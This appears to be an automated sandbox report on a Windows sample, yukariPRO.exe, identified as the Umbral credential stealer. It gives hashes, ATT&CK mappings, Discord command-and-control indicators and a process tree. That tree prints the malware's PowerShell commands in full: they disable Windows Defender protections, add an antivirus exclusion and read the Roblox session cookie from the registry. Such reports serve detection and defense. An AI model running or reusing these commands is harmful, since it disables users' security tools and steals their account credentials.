umbral | 02c1514216aac754514600a3958d3b52311ea8e4dfd3eff1768ee382db1d611c

Analysis

max time kernel
11s
max time network
13s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 13:40

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General

Target

yukariPRO.exe
Size

231KB
MD5

83617498ad1496a62a531bcc1e3719a0
SHA1

80d5f3363370f67086342b43a780362e09171bb8
SHA256

02c1514216aac754514600a3958d3b52311ea8e4dfd3eff1768ee382db1d611c
SHA512

5598953ab899443708e1c4c7c7fd762e43c69d2e40a8af64f48606fda6e275354c6b13ac9d467c1210dd2d9b55bd01dcfe2ab89188e225a38e2b125a543a557e
SSDEEP

6144:GloZMDkOQVGHstJZWdhQETaUNTJq8DjghVkiPviCrj8e1mUJxjDS:woZXUHsHuLNTJq8DjghVkiPviCnPJxj+

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1692-1-0x000001C7FA000000-0x000001C7FA040000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3008	powershell.exe
4984	powershell.exe
1340	powershell.exe
2704	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	yukariPRO.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4312	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1692	yukariPRO.exe
3008	powershell.exe
3008	powershell.exe
4984	powershell.exe
4984	powershell.exe
1340	powershell.exe
1340	powershell.exe
2932	powershell.exe
2932	powershell.exe
2704	powershell.exe
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	yukariPRO.exe
Token: SeIncreaseQuotaPrivilege	3180	wmic.exe
Token: SeSecurityPrivilege	3180	wmic.exe
Token: SeTakeOwnershipPrivilege	3180	wmic.exe
Token: SeLoadDriverPrivilege	3180	wmic.exe
Token: SeSystemProfilePrivilege	3180	wmic.exe
Token: SeSystemtimePrivilege	3180	wmic.exe
Token: SeProfSingleProcessPrivilege	3180	wmic.exe
Token: SeIncBasePriorityPrivilege	3180	wmic.exe
Token: SeCreatePagefilePrivilege	3180	wmic.exe
Token: SeBackupPrivilege	3180	wmic.exe
Token: SeRestorePrivilege	3180	wmic.exe
Token: SeShutdownPrivilege	3180	wmic.exe
Token: SeDebugPrivilege	3180	wmic.exe
Token: SeSystemEnvironmentPrivilege	3180	wmic.exe
Token: SeRemoteShutdownPrivilege	3180	wmic.exe
Token: SeUndockPrivilege	3180	wmic.exe
Token: SeManageVolumePrivilege	3180	wmic.exe
Token: 33	3180	wmic.exe
Token: 34	3180	wmic.exe
Token: 35	3180	wmic.exe
Token: 36	3180	wmic.exe
Token: SeIncreaseQuotaPrivilege	3180	wmic.exe
Token: SeSecurityPrivilege	3180	wmic.exe
Token: SeTakeOwnershipPrivilege	3180	wmic.exe
Token: SeLoadDriverPrivilege	3180	wmic.exe
Token: SeSystemProfilePrivilege	3180	wmic.exe
Token: SeSystemtimePrivilege	3180	wmic.exe
Token: SeProfSingleProcessPrivilege	3180	wmic.exe
Token: SeIncBasePriorityPrivilege	3180	wmic.exe
Token: SeCreatePagefilePrivilege	3180	wmic.exe
Token: SeBackupPrivilege	3180	wmic.exe
Token: SeRestorePrivilege	3180	wmic.exe
Token: SeShutdownPrivilege	3180	wmic.exe
Token: SeDebugPrivilege	3180	wmic.exe
Token: SeSystemEnvironmentPrivilege	3180	wmic.exe
Token: SeRemoteShutdownPrivilege	3180	wmic.exe
Token: SeUndockPrivilege	3180	wmic.exe
Token: SeManageVolumePrivilege	3180	wmic.exe
Token: 33	3180	wmic.exe
Token: 34	3180	wmic.exe
Token: 35	3180	wmic.exe
Token: 36	3180	wmic.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeIncreaseQuotaPrivilege	2584	wmic.exe
Token: SeSecurityPrivilege	2584	wmic.exe
Token: SeTakeOwnershipPrivilege	2584	wmic.exe
Token: SeLoadDriverPrivilege	2584	wmic.exe
Token: SeSystemProfilePrivilege	2584	wmic.exe
Token: SeSystemtimePrivilege	2584	wmic.exe
Token: SeProfSingleProcessPrivilege	2584	wmic.exe
Token: SeIncBasePriorityPrivilege	2584	wmic.exe
Token: SeCreatePagefilePrivilege	2584	wmic.exe
Token: SeBackupPrivilege	2584	wmic.exe
Token: SeRestorePrivilege	2584	wmic.exe
Token: SeShutdownPrivilege	2584	wmic.exe
Token: SeDebugPrivilege	2584	wmic.exe
Token: SeSystemEnvironmentPrivilege	2584	wmic.exe
Token: SeRemoteShutdownPrivilege	2584	wmic.exe
Token: SeUndockPrivilege	2584	wmic.exe
Token: SeManageVolumePrivilege	2584	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 3180	1692	yukariPRO.exe	83
PID 1692 wrote to memory of 3180	1692	yukariPRO.exe	83
PID 1692 wrote to memory of 3008	1692	yukariPRO.exe	86
PID 1692 wrote to memory of 3008	1692	yukariPRO.exe	86
PID 1692 wrote to memory of 4984	1692	yukariPRO.exe	88
PID 1692 wrote to memory of 4984	1692	yukariPRO.exe	88
PID 1692 wrote to memory of 1340	1692	yukariPRO.exe	91
PID 1692 wrote to memory of 1340	1692	yukariPRO.exe	91
PID 1692 wrote to memory of 2932	1692	yukariPRO.exe	95
PID 1692 wrote to memory of 2932	1692	yukariPRO.exe	95
PID 1692 wrote to memory of 2584	1692	yukariPRO.exe	98
PID 1692 wrote to memory of 2584	1692	yukariPRO.exe	98
PID 1692 wrote to memory of 388	1692	yukariPRO.exe	100
PID 1692 wrote to memory of 388	1692	yukariPRO.exe	100
PID 1692 wrote to memory of 4720	1692	yukariPRO.exe	102
PID 1692 wrote to memory of 4720	1692	yukariPRO.exe	102
PID 1692 wrote to memory of 2704	1692	yukariPRO.exe	104
PID 1692 wrote to memory of 2704	1692	yukariPRO.exe	104
PID 1692 wrote to memory of 4312	1692	yukariPRO.exe	106
PID 1692 wrote to memory of 4312	1692	yukariPRO.exe	106

C:\Users\Admin\AppData\Local\Temp\yukariPRO.exe
"C:\Users\Admin\AppData\Local\Temp\yukariPRO.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\yukariPRO.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:388
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2704
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2984662ba3f86d7fcf26758b5b76754d

SHA1
bc2a43ffd898222ee84406313f3834f226928379

SHA256
f0815f797b0c1829745dd65985f28d459688f91ceb2f3d76fed2d4309589bcde

SHA512
a06251a7a14559ebf5627a3c6b03fda9ded1d4ee44991283c824ccf5011cdf67665696d2d9b23507cbb3e3b9943b9e9f79ef28d3657eb61fb99920225417ab11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_auyimjiy.hew.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1692-34-0x000001C7FC890000-0x000001C7FC8AE000-memory.dmp

Filesize
120KB

Download
memory/1692-33-0x000001C7FC720000-0x000001C7FC770000-memory.dmp

Filesize
320KB

Download
memory/1692-32-0x000001C7FC7A0000-0x000001C7FC816000-memory.dmp

Filesize
472KB

Download
memory/1692-0-0x00007FFC72ED3000-0x00007FFC72ED5000-memory.dmp

Filesize
8KB

Download
memory/1692-2-0x00007FFC72ED0000-0x00007FFC73991000-memory.dmp

Filesize
10.8MB

Download
memory/1692-71-0x000001C7FC770000-0x000001C7FC77A000-memory.dmp

Filesize
40KB

Download
memory/1692-72-0x000001C7FC820000-0x000001C7FC832000-memory.dmp

Filesize
72KB

Download
memory/1692-1-0x000001C7FA000000-0x000001C7FA040000-memory.dmp

Filesize
256KB

Download
memory/1692-92-0x00007FFC72ED0000-0x00007FFC73991000-memory.dmp

Filesize
10.8MB

Download
memory/3008-17-0x00007FFC72ED0000-0x00007FFC73991000-memory.dmp

Filesize
10.8MB

Download
memory/3008-14-0x00007FFC72ED0000-0x00007FFC73991000-memory.dmp

Filesize
10.8MB

Download
memory/3008-13-0x0000015C4CAB0000-0x0000015C4CAD2000-memory.dmp

Filesize
136KB

Download
memory/3008-3-0x00007FFC72ED0000-0x00007FFC73991000-memory.dmp

Filesize
10.8MB

Download